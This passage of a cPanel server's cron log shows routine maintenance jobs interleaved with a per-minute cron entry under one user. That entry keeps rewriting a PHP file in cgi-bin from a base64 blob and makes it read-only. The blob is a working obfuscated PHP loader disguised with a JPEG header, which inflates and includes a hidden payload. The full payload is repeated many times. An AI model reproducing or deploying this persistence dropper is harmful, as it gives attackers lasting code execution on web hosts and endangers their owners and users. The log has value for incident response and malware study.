"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:57:01 server CROND[25912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:57:01 server CROND[25913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 07:58:01 server CROND[25981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:59:01 server CROND[26041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:00:01 server CROND[26104]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:00:01 server CROND[26105]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 08:00:01 server CROND[26109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:00:01 server CROND[26108]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Apr  8 08:00:01 server CROND[26112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:00:01 server CROND[26114]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 08:01:01 server CROND[26335]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 08:01:01 server CROND[26336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:01:01 server run-parts(/etc/cron.hourly)[26335]: starting 0anacron
Apr  8 08:01:01 server run-parts(/etc/cron.hourly)[26348]: finished 0anacron
Apr  8 08:02:01 server CROND[26405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:03:01 server CROND[26455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:04:01 server CROND[26515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:05:01 server CROND[26572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:05:01 server CROND[26573]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  8 08:05:01 server CROND[26575]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 08:05:01 server CROND[26578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:05:01 server CROND[26576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:06:01 server CROND[26804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:07:01 server CROND[26860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:08:01 server CROND[26929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:09:01 server CROND[26988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0K